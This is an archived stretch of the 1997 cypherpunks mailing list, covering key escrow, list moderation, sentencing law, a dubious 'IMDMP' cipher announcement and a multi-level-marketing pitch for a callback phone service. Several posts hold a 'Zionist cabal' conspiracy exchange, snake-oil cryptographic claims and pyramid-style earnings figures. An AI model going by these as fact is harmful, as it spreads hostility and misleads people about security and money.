Date: Thu, 9 Jan 1997 15:05:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <199701091505.KAA02069@laf.cioe.com>
Message-ID: <970109.155557.4E2.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, serw30@laf.cioe.com writes:

> Dr.Dimitri Vulis KOTM writes: 
>> "Cypher punks" can't write any code - be it mail filters, viruses, or 
> crypto.
>> 
> Aw,  surely "Cypher punks" can write some sort of code.

I'm a cypherpunk.  Just for the record, I wrote the code that Vulis
himself uses to process his UUCP traffic.
- -- 
Roy M. Silvernail                             roy@scytale.com
              Keeping Waffle Irons hot since 1989
           Run Waffle?  Rnews locking up?  You need RUUXQT!
echo /get /pub/waffle/uuxqt37.zip | rmail file-request@scytale.com

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TsuIEfcu7XhVbYl1O/xw1l50mgiOJWtinxAyhrabRClNDCz8zmiPB3p7gqSPFVwr
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=VdZ2
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 9 Jan 1997 15:58:31 -0800 (PST)
To: kkirksey@appstate.campus.mci.net (Ken Kirksey)
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <199701092357.PAA23840@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey writes:
> 
> >  To me, Key Recovery cryptography is like using a condom with a
> >hole in it. No thanks.
> 
> I agree in principle, and I doubt I would ever use a key recovery system 
> if I had a choice.  But, speaking as a network manager, I know that 
> private key recovery (not GAK) can be an enhancement to security.  
> 
> I'll give an example.  About a year ago, my boss wanted to protect his 
> file of annual financial projections for the company from prying eyes on 
> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
> him how to use it, and gave him the standard lecture on choosing a good 
> passphrase.  I stressed that he needed to chose a passphrase easy to 
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  He spent an hour trying every 
> combination he could think of, interjecting a curse here and there for 
> color.  He is now totally off using encryption to protect sensitive 
> information.

User education would be even easier than key escrow.  Your boss could
have shared that passphrase with one or more other people, ideally the
people who helped him make the report.  When you encrypt something
that's vital to the company, you need to make sure that it can be
gotten back.  In most companies, there's more than one person who
is 'cleared' for even the more vital information.  The keys to
those files should be shared amongst those people.

Unfortunately, few encryption programs make this easy.  And even though
you can do it in PGP by encrypting to multiple recipients, how many
people think to do so?  I don't.  Most programs assume that there's one
key that that's used to encrypt everything, hence one level of security-
the highest.  But in a business situation you really need to be able to
encrypt something with your key and your secretary's key, or the keys of
all the board members, etc.



-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ken Kirksey <kkirksey@appstate.campus.mci.net>
Date: Thu, 9 Jan 1997 13:36:54 -0800 (PST)
To: "Cypherpunks" <cypherpunks@toad.com>
Subject: Key Escrow Good, GAK Bad
Message-ID: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


>  To me, Key Recovery cryptography is like using a condom with a
>hole in it. No thanks.

I agree in principle, and I doubt I would ever use a key recovery system 
if I had a choice.  But, speaking as a network manager, I know that 
private key recovery (not GAK) can be an enhancement to security.  

I'll give an example.  About a year ago, my boss wanted to protect his 
file of annual financial projections for the company from prying eyes on 
our Macintosh network.  I installed CurveEncrypt on his machine, showed 
him how to use it, and gave him the standard lecture on choosing a good 
passphrase.  I stressed that he needed to chose a passphrase easy to 
remember, because if he forgot it, there was no way to get his file back.

Well, he forgot his passphrase.  He spent an hour trying every 
combination he could think of, interjecting a curse here and there for 
color.  He is now totally off using encryption to protect sensitive 
information.  He refuses to use it, and he discourages anyone in the 
office from using it.  I know that his position is unfair, but he _is_ 
the boss, so he makes the rules.  

And he is a typical computer user.  If your average joe forgets his 
passphrase and loses two days worth of work, he's not likely to encrypt 
his work again.  (Or he's likely to write down his passphrase in the 
future).  If we were using a Key Escrow system, this situation could have 
been avoided.  Yes, using a key escrow system is less secure that using a 
non-key escrow system, but I'd argue that using a strong key escrow 
system is better than using no encryption at all in situations like this. 
 Our network is less secure that it could be because of one user's bad 
experience.

Ken




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dimple@pacific.net.sg
Date: Thu, 9 Jan 1997 00:49:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Key Recovery Propaganda on United Airlines
Message-ID: <199701090849.QAA17079@darwin.pacific.net.sg>
MIME-Version: 1.0
Content-Type: text/plain


The commercials between the movie and news show on the airline include an
IBM spot on their new Key Recovery software.  Sigh.

The explanations they gave were mixed; one person was talking about
making sure that if you lose the key that people with a legitimate need
to access the material can do it.  The other example they gave, with
pictures, was along the lines of
"Suppose you're going on vacation and you want to leave a key with
a neighbor to feed the dog.  A safe way to do it would be to put your house
key in a lockbox that needs several keys to open it, and give those keys
to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
pretty hungry....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 16:12:35 -0800 (PST)
To: "Butler, Scott" <SButler@chemson.com>
Subject: Re: A vote? of confidence for Sanderson.
In-Reply-To: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970109100036Z-508@csa-ntx.chemson.com>
Message-ID: <32D592FF.539A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Butler, Scott wrote:
> 
> (Well it normally works over here in the U.K...if a football manager
> receives a vote of confidence from the board of directors it is a
> foregone conclusion that his resignation will be handed in or his P45
> will be handed out within days!)

  Why is everybody 'voting'?

  There 'is' no vote.
  There was an 'announement' of what 'will' be done.
  You may 'agree', or 'disagree', or 'comment'.
  But vote?

  I would hate to burst anyone's bubble, here, ( <--- A LIE! ), but I
get enough illusory 'choices' in the 'real' world to fulfill my need
for self-deception. 
  I choose between the Republican Hitler and the Democratic Hitler.
I choose between driving the 'red' piece-of-junk and the 'blue' piece-
of-junk. I choose between the white sand in the Vaseline or the black
sand in the Vaseline.

  If you feel the need for some illusory sense of control over what has
already been decided, then, by all means, forward your votes to
/dev/null.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 15:20:12 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <Pine.3.89.9701091121.A2331-0100000@netcom3>
Message-ID: <199701092323.RAA12536@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.3.89.9701091121.A2331-0100000@netcom3>, on 01/09/97 at 03:38 PM,
   "Z.B." <zachb@netcom.com> said:


>Not necessarily, Steve - some people plonk others by filtering their mail 
>to a folder called "trash" or "crap-messages" or whatever, so they don't 
>have to read them at the same time they read the rest of their messages.  
>Then they go through the trash folder later on just to see if they threw out  anything
>that they shouldn't have, see the messages by the people they 
>killfiled, and reply to some of them.  They HAVE plonked the person, but 
>they can still read and reply to the plonked messages if they choose.  

>IMO, this is a better way to killfile than redirecting everything to 
>/dev/null, because if someone has a history of violently flaming whatever 
>you say (like some people on this list who shall remain nameless), you don't  have to
>read their flames at the same time with the rest of the mail, but  still have the option
>of reading and replying to them later on if you so 
>choose.  

This is exactly how I have my twit filters set up. :)

I also have max # of messages & max # of days settings for my twit folder
so that messages that have stayed too long get automatically deleted.

I currently have 2 different folders set up 1 for twits and 1 for anonymous
posts. The twit folder is set to delete after 1 day while the anonymous posts are saved
for a week.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 22:32:15 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Homosexual Lynch Mob, Cabal
In-Reply-To: <Pine.LNX.3.95.970108083539.23487N-100000@dhp.com>
Message-ID: <32D59F3E.59B1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Stephen Boursy wrote:
> Dale Thorn wrote:
> > aga wrote:
> > > Stephen Boursy wrote:
> > >> Dave Hayes wrote:[snip]
> > A lot if people act (pretend to be?) shocked to find that a so-called
> > minority would practice discrimination.  A classic example from what
> > I've heard is the ADL going *against* the World Jewish Congress and
> > lining up with the U.S. State Dept. in the 1930's, to *suppress*
> > Jewish dissenters in the U.S., because it was "good for business"
> > at that time.

> That was due to zionism was it not?  I hate zionists with a passion.
> Zionists continue to this day to make all sorts of unsavory tradeofffs
> to keep their stolen land--there is only one solution there and Arafat
> no longer has what it takes (he sold out too).

This is really a tough one.  I'd guess that the agenda of Zionists,
as well as some of their allies, changes or incorporates additional
goals at different levels in the cabal.  We all know what the lower
levels look like, but the nature of the very top level intrigues me
to no end.  Is it just money and power, control of property etc.?
Or is it something "really evil"?

> But I think the policy of public gay bashing on the usenet to be
> counter-productive, irrational and unfair (aside from bad PR). Bob
> Allisat for example is completely alienated from some here because
> of this--I respect Allisat a great deal--he's done much for usenet
> freedom and has a real mouth on him.

That you respect him says a lot for him in spite of his alleged
irrationality.

> A large percentage of the population is gay--the average citizen is
> moving in to the usenet and we need their support if we are to toss
> the cabal in the trash and in some cases jail.

The average citizen will never support freedom fighters, and I think
this is even more true of the Internet than in the outside world.
Of course, I hope I'm wrong, or that there's some technology or
formula that will enable average people to have the courage to
defend that freedom.

> Deliberatly alienating such a large class of people is not logical
> nor is it fair.  It is of course everyones right to freely do so--
> here and in any forum on usenet.

I am sympathetic to what you're saying.  I am also sympathetic to the
opinion that there are some things that people practice which are OK
if they affect only them and nobody else, but are not necessarily OK
when they affect others.  One of the things that make a society a
society is the relative accomodation or tolerance that society has
for various practices and beliefs which are outside of the norm.

The PC premise is that it's OK to have certain practices and beliefs
which are outside (sometimes way outside) of the norm, but that to keep
from hurting the feelings of what are (or in the PC people's opinion
should be) protected classes of people/practices/beliefs, we should
refrain from speech or actions which has the effect of offending
these people.

You'll note in the last presidential campaign, to name an example, much
of the media beat up on Pat Buchanan, going so far as to call him a Nazi
and so on. (Not that they would do that to Reagan, who is IMO a real
Nazi, BTW.)  Now, those folks who don't like to be called "fag" or
whatever, did they speak out against this public labeling of Buchanan?
I don't know a damn thing about the real Buchanan, although I know that
William F. Buckley Jr. is a real scumbag, to name a relevant example.

I'm sorry if I don't conform 100%, but I just don't see any real justice
being called for and worked for by the PC mob - I only see selfishness
and an ongoing attempt to transfer more power from the mainstream public
into the hands of various special interest groups.

Tell you what, though.  If any gay interest group comes out for justice
in a substantial way, that is, if they call for changes I can believe in,
I'll support them to that extent at least, and try to stay out of their
way otherwise if possible.  But I won't hold my breath on that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 15:06:08 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.LNX.3.95.970108231558.1800A-100000@eclipse.voicenet.com>
Message-ID: <Pine.SUN.3.94.970109173741.707A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Mark M. wrote:

> Date: Wed, 8 Jan 1997 23:35:35 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 7 Jan 1997, Declan McCullagh wrote:
> 
> > The Supreme Court ruled on this sentencing case yesterday. Kennedy and
> > Stevens -- hardly known as civil libertarians -- dissented. The Court
> > reversed the 9th Circuit, ruling the lower court was wrong to say that
> > such a practice "would make the jury's findings of fact pointless." The
> > court declared: "Sentencing enhancements do not punish a defendant for
> > crimes of which he was not convicted, but rather increase his sentence
> > because of the manner in which he committed the crime of conviction."
> > 
> > Double jeopardy? What's that?
> > 
> > Of course it was a drug crime. The defendant, Vernon Watts, was convicted
> > of cocaine possession with intent to distribute. To paraphrase another
> > saying: "'Drug Trafficking Offense' is the root passphrase to the
> > Constitution."
> 
> IANAL, but this ruling is not as bad as it may seem.  If I read it correctly,
> the ruling says that a judge is allowed to consider offenses related to the
> crime for which the defendant was convicted regardless of whether or not the
> defendant was acquitted of those charges.

Basically correct.  Lesser included offenses are seperate offenses.
Robbery, as a very mundane example, is a combination of larceny and
assault. If the assault charge cannot be proven, robbery cannot be proven,
but larceny still can independently.

Sentencing enhancements:

There is a big book called the Federal Sentencing Guidelines Handbook (or
some such).  To arrive at the appropriate sentence range, you add up the
points of all the offenses the defendant was convicted of (Assume Bank
Fraud is 18 points, Murder 35 or whatever- I dont remember them offhand)
and run across a chart which has "criminal history catagory" on the
vertical axis.  Where the two meet gives you the sentence range.  I'm not
near my office right now, but if there is enough interest I will dig up
the current handbook and run a sample sentencing through.

The most common one I see is "Victims helpless or infirm" which usually
boosts 2 to 5 points.

Sentencing enhancements are not double jeapordy either.  I don't see how
you can argue they are.  For example, there is a provision in bank fraud
sentencing guidelines which enhances the sentence according to the size of
the loss, and I believe there is a kicker if the financial institution
folds.

I believe the highest base offense level was "Espionage" or some such.

There are also sentencing limiters.  "Defendant displays clear remorse."
I think is one.

Go out to a law book store and take a look at the guideline book.  It's
actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
recruited my brother to dump the body..."

> Judges are allowed to consider past
> criminal convictions or behavior relevant to the crime for which the defendant
> was convicted during sentencing.  Sentencing guidelines instruct the judge on
> how severe or lenient a sentence should be based on the severity of the offense
> and past criminal record.  These facts to not have to be true beyond a
> reasonable doubt.

They need only be noted as a finding of fact by the jury.  (Or the judge
in other cases).

> In one case, the defendant was convicted of possession of cocaine with intent
> to distribute but was found not guilty of possession of a firearm related to
> a drug charge (apparently, this is a crime).

It's both a crime and an enhancement for most federal drug offenses.

> The jury decided that there was
> reasonable doubt as to whether the gun had anything to do with the drug
> offense.  However, the defendant was sentenced according to the recommended
> sentence for someone convicted of a drug offense when there is a weapon
> involved.  If possession of a firearm related to a drug offense had not been
> a crime, the judge would have been able to give the defendant the same sentence
> without having proof that there was not reasonable doubt as to whether the gun
> was related to the drug offense.

Well, just about.  The sentencing enhancement might not be enough points
to kick the defendant into the next bracket.  It depends on how many base
offense points the defendant has before you start throwing in
enhancements.  The judge probably would have gotten a higher maximum from
the combined crime, but the jury has to find guilty of that offense.

> All this ruling really does is it gives the judge the power to consider all
> facts, including those found by a jury to be doubtable, when sentencing the
> defendant.  It doesn't allow the judge to sentence the defendant to a higher
> punishment than the maximum sentence.

Well, it can increase the maximum actually, because it actually adds
offense points.

> This is a power that judges have when
> the defendant does something legal, but has connection to the actual crime.
> This ruling just extends that power to include when the action in question is
> illegal.

Congress has already passed on the sentencing enhancements in most cases,
making them simply "versions" of crimes.

If you want to look at it a different way, if you are involved with a drug
offense and are not using a weapon, you'll get a lower sentence than a
full fledged drug crime.  It's a step in the right direction - i.e. away
from manadatory sentencing of a flat time period for a crime regardless of
circumstances.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMPORTANT: Additional information about UDCM.
Message-ID: <970109181113_1044501439@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


{Please read this *entire* e-mail message.}

Hi,

A detailed description of the IMDMP encryption algorithm will be posted to
this mailing list within a few days. An end-user application will be released
within a few weeks. I would appreciate it if all you cypherpunks out there
review the description and the software, and tell me what you think of IMDMP.


Also: The AOL web site address my company has may not always work out when
the server is having problems or user overloads. Please try again later.
Again, the web site address for UDCM, Universal Data Cryptography Module, is:
http://members.aol.com/DataETRsch/udcm.html.

IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
yes, many algorithms do *not* have multiple encryption layers, although,
obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.
I realize that most of you out there know that, but some of you don't. "Bits"
are referenced more often than "bytes". And, the "industry standard" that
IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,
IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
full of about 64 *million* repeating "A" ASCII character bytes. The mutation
levels the algorithms rendered on their individual trash test files were
compared. Subtle patterns where searched for. Binary character tallys where
taken. IMDMP did *not* leave *any* repeating patterns in the test file that
was used. In IMDMP, each of the 256 possible binary character combinations
had an approximate count of  0.390625% of all of the 64 million bytes.
 0.390625% is the best possible percentage. Are all of you out there
satisfied?

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 15:17:48 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <y7V0ZD1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > Well I guess I will not need to worry about them since I will never run any G
> > reguardless how may laws the jackboots in DC pass.
> 
> That's from the same guy who endorses censorship on this mailing list...

Wait a second, isn't that what you were just calling for in my case?

To wit: "I suggest zero tolerance of Black Unicorn unless and until
someone reveals his real name."

For the guy who has been screaming his head off about censorship to the 
point of nausea you were sure quick to turn your coat in my case.  That
more than anything else you have ever said puts the cap on your 
credibility as far as I'm concerned.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:25:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Thanks.
Message-ID: <970109182452_578470125@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Thanks for clearing up that file size query for me. You are right about that
258 (it's actually 256) header attribute. In that header is where the IMDMP
special security option settings are stored (if they are indeed enabled). But
the options are rarely ever used by most developers. For more information,
download UDCM V2.0 from: http://members.aol.com/DataETRsch/udcm.html and view
the help documentation. Also, the 256 byte header itself is encrypted with a
128-bit encryption code.

Thanks again! :-)

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guy Hoogewerf <ccr@imsnispc01.netvigator.com>
Date: Thu, 9 Jan 1997 15:56:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MNET
In-Reply-To: <m0viDTp-000DNpC@nile.wsc.monash.edu.au>
Message-ID: <32D5A901.16F0@netvigator.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@toad.com wrote:
Dear Future M-NET subscriber,

*************************************************************
*               The M-NET HOME PAGE                         *
*       http://www.hk.super.net/~alamo/mnet/home.html       *   
*************************************************************

Thank you for your interest in the M-Net Webpage.  I encourage
you to PRINT and read this "Introductory Newsletter" in its
entirety. Although it is longer in length than M-Net's regualar
update the contents will give you a good idea of the products
and opportunity available through subscription to our service.  

M-Net, in itself, is a great part time income opportunity. All
you do is offer the products and services of M-Net to others.
You can do this via the Internet as I have, or just to a few
freinds and contacts. Just help get the word out - whether by
Internet ads, flyers, postcards, classifieds, or word of mouth.

Choose any method you're comfortable with . . . they all work.
After all,  almost everyone has to pay a telephone bill and
would like more income!

Whenever anyone that you (or your subscribers) have shared
M-Net with subscribes to the service, your income grows. The
compensation plan is described in detail in this introduction.
You can quickly develop an income of $300.00 to even $3,000.00
or more per month!

========================
GETTING STARTED IS EASY!
========================

To get started, simply send in a completed form and start
saving money straight away. 

==============================================================
                You can subscribe to M-Net's service:
                   mailto:ccr@netvigator.com
==============================================================

...or you can use the subscription form at the end of this
introduction. In addition to the service you will receive a
welcome package which includes a Company Manual, brochures, and
extra Introductory Newsletters.
I look forward to hearing from your shortly.

Yours in success,

Guy Hoogewerf
M-Net Associate
ID# 11167

8/F, Yau Shun Building
46-50, D'Aguilar Street
Central,  Hong Kong
Tel: (852) 2868 6198
Fax: (852) 2524 1233

==============================================================
                    INTRODUCTION TO M-NET
==============================================================

"I would rather benefit from 1 % of 100 people's effort than
benefit from 100% of my own". The words of John Paul Getty.

M-Net, founded by Ed Brinskely, offers the average American
the tools and education they need to:
  
1. Reduce their telephone bills with simple innovative system
of Call-back, and  
  
2. To increase their income with a solid home based business.  
 
M-Net may be contacted at: 
8/F, Yau Shun Builing
46-50, D'Aguilar Street
Central, Hong Kong
Tel: (852) 2868 4198
Fax: (852) 2524 1233

NO SPECIAL SKILLS are required to be successful with the M-Net
Program.

We firmly believe that the vast majority of people do not want
a "hand out," but merely a "helping hand" and that is the
mission of M-Net. If you are looking for sound, time tested
advice to help you take control of your finances and runaway
debt, combined with a solid home business income opportunity,
and are not afraid of a little honest hard work, then you owe
it to yourself to learn all you can about the M-Net program.  
  
Unlike "get-rich-quick" schemes, a legitimate program requires
an investment of your time and resources in order to succeed.
Let's face it, hard work, dedication, commitment and persistence
are what built this country and made people wealthy in the
process. And the M-Net program is no different.  

However, M-Net offers one distinct advantage over many other
opportunities  available today. M-Net saves your business money
on your communication needs. 

Other opportunities require you to invest money which you may
not have.  
  
M-Net offers and teaches you teaches you sound financial
principles, strategies and techniques to help you free up the
resources it takes to achieve success! 

M-Net will also show you how to get onto the Internet with
minimal cost so solving two of the entrepreneur's largest
business expenses, advertising and telephone costs.  

The M-Net program offers a unique pay plan that rewards you with
a $25 commission on all your first level subscribers and pays you
a total of 12.5% through 10 levels on everyone's telephone bill!
You can easily qualify for commissions on all 10 levels by simply
sponsoring just one person... just one.  
  
M-Net furnishes you with all the tools necessary to finance this
exciting, home business opportunity's quick growth, enabling you
to develop a substantial monthly income for you and your family.
You'll receive the education, promotional materials, and support
while you provide the desire, dedication, hard work and
perseverance. And you don't even need a computer to succeed with 
the M-Net program either. A substantial income can be built by
ANYONE simply by telling their friends! After all they will want
to save money as well!!

With an incredible pay plan and proven income producing system
(along with a little simple hard work), you will succeed in
developing the extra income to take that extra hoiday you wanted
or to help pay off that morgage you have.
  
Please feel free to call the M-Net office at (852) 2868 4198
anytime with questions, comments, or suggestions. The doors are
always open and a voice mail system is available 24 hours a day
to take your calls.

Some Statistics:

¨ 1/3 of all produce in America was shifted through a Multi-
Level Marketing Program in 1995.
 
¨ There are 8,000 Multi-Level-Marketing Companies Worldwide.
 
¨ A MLM Company opened this year in China. They had 23,000 new
customers in 2 weeks
 
¨ Telecommunications is the third largest Industry worldwide,
it is also the fastest growing.
 
My Point:

¨ Multi-Level-Marketing is the ultimate way to market a product.
Three simple reasons:

I.   The Consultant benefits from commissions, no investment,
minimal work, a rewarding experience.
II.  The user benefits from reduced prices, no middle men.
III. The Producer benefits from reduced distribution costs,
direct links with consumer needs
 
Benefits to you the consultant:

All customer Service and Support is taken care of by M-Net and
their home company MTC. As an M-net Consultant you are paid to 
'spread the word'.

The limits to your earnings are unknown and they are residual.
You carry on been paid even after you retire from the program.
 
You participate in a unique set of products. M-Net can offer
you a complete telemanagement system. i.e. Callback services,
Travel Cards, Fully Itemised billing, and other more technical
services such as; conference calls, Free phone lines, Fax on
Demand, Autocall and Air freight Services.

¨ No other Telephone Callback Company can do this.

You receive the lowest rates ALL round the world. M-Net, unlike
any other company, offers you discount services from Every
Country to Every Country Worldwide.

¨ Examples are calling; your Children at School, from a hotel
you might be staying at, or just calling your family abroad.

Requirements from you:

M-Net is a non-profit service to supply you with all the
information you need to understand the Telephone Industry and
products M-Net provide. There is a minimal introduction fee
of US$99.99  to cover these costs, but by the end of the first
month you would have made back the initial investment either
with the savings on your Bill or through just connecting 5 
people to M-Net's service. Free connection to the network is
also included when subscribing as an associate.

As time goes by and the money starts to come in, you will
want to spend more time on this project, anything up to 1
hour a week is all it takes. A simple guide as to how much
time is required is 'the more time you invest the greater
your return on investment'.

   ======================================================
                   The aim of the Concept.
   ======================================================

The aim is not to make a million in one month.  What M-Net
are offering is a constant growing income every month. The
aim is not to sell as many Callback systems as quickly as
possible either. M-Net are saying Callback is, already, a
sold product. Everyone knows it saves you money. M-Net are
offering a way to make money out of Callback. Just because
it is the cheapest has little to do with it. You can sell
a Callback a hundred times but won't get everybody using it.

M-net are saying, by becoming an Associate, you most likely
will use the service for your own benefit (its free to join
after all). Added to that as a Associate, you will ensure you,
that you yourself, get maximum benefit out of using the system.

So, you are an Associate first and a user second (you do not
have to use it). I would now like to offer an example; 

  ======================================================
                  The Twelve Year Plan.
  ======================================================

You find just one person who wants to use the service in
one year, i.e. a long time. During the following year both
you and he find one person each. You now have four people
using the system. In the third year all four of you find
one person, you have eight in your group. Year four and it
doubles again, 16 and again in the fifth year to 32, 64,
128, 256, 512, 1024, 2048 and finally at the end of the
twelfth year 4,096. 

What you will find is, depending on how much time people
are willing to invest, some people will find up to 20
people a year while others will be comfortable with only
one a year.

Speeding This Up.

Taking this example further; the next stage is to speed
up this progress of multiplication. There are two easy
ways to do this.

1.      Shorten the Time. instead of 1 person every year
how about one person every month. This gives you an income
of over US$3,000 a month within a year. How this happens
I will explain later.

2.      Increase the number of Sponsorships. Instead of
just one person a year or month, why not 3 or 5. This can
be demonstrated by taking the pattern of 2,4,8,16,32,64 and
so on and doing it with three people instead of one. 1,3,9,
27,81,243 and so on...Or even better with 5. 1,5,25,125,625.
The Multiplication factor is important and akes the ultimate
difference.

How Does This Fit In With M-Net ?

The Commission Pay Plan is, like the system itself, as simple
as possible.

There are three areas.

You receive a commission of 1% on anybody and everybody's
telephone bill on 10 levels of your group or organization.
On the third level you recieve a bonus  commission of 2.5%
extra.

Your customers will also recieve a commission as a customer
if they introduce anyone to the system. They will recieve 0.5%
on 10 levels of a potential organzation that you may
inadvertently build up for them.

There is a pay out of $25 on each new member. $5 is given to
the Associate who accepts the subscription and $20 for the
customer who referred that new member. If you are the
Associate and the referring member i.e. the new member is
your introduction then you recieve the full $25.

So!!

Levels    # of Associates Commission      Monthly Earnings
You           0               0               0
1             4               1%              US$ 4.00
2             13              1%              US$ 13.00
3             40              3.5%            US$ 14.00
4             121             1%              US$ 121.00
5             364             1%              US$ 364.00
6             1,093           1%              US$ 1,093.00
7             3,280           1%              US$ 3,280.00
8             9,841           1%              US$ 9,841.00
9             29,524          1%              US$ 29,524.00
10            88,573          1%              US$ 88,573.00

This assumes an average of $100 is spent per member and every
Assoicate has the ability to find three further Associates.
This does not allow for the many people who would just become
customers, thereby increasing thse figures.

This is a cumulative calculation

       ===============================================
                    How To Sponsor!
       ===============================================

Back to first principals again. M-Net know and do not expect
anyone to be able to reach these magic figures just like that.
No one is sent out to 'spread the word' on their own.
Sponsoring is about support and passing on information. Like
Chinese whispers but ensuring the message is not altered. It
is M-Net job to ensure the message remains the same, let them
worry about this. That is what their complete support and back
up service to their associates is for.

Sponsoring is about keeping it simple, no one is expected to
get involved in Telecommunications, there is no need to. Each
person can take technical side of the business as far as they
want to, it is up to them. Each person just uses the product
themselves or at least knows how to use it even if they do not
use it.

The easiest way, as in any business, to sponsor is to get
someone else to do it. So only involve people who are prepared
to sponsor others, Only involve small numbers i.e. 3 or 5. The
returns are greater this way and the input by you less.

The Challenge is; Do you know 3 people who spend as little as
US$100 a month on their phone bill? Do these people know 3
people who spend US$100 a month? and so on. These are your
customers.

We in Hong Kong as M-Net principal office here, provide a full
support service. This includes a telephone service to answer
any questions. Twice weekly meetings for Assoicates to come
and introduce new Associates and to learn of new developments
with in M-Net, and a Bi-Weekly News Bulletin is sent out to
keep every one updated.

The purpose of these services are threefold:

1.      To encourage maximum communication between M-Net and
        its users,
2.      To ensure the continued growth of M-Net
3.      To provide Educational Material on how to create a
        MLM business with minimum input.

    ==================================================
                         Summary
   ===================================================

With this huge support network behind you, you should not only
be encouraged but also receive a healthy regular income only a
few months after you join. You now have a description of the
philosophy of MLM, and an example with some notes on how to go
about it. I would strongly recommend you come to a meeting and
find out more. MLM is NOT a hidden catch business, it is a
very viable spare time occupation, which more than adequately
rewards you.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:43:56 -0800 (PST)
To: cypherpunks@toad.com
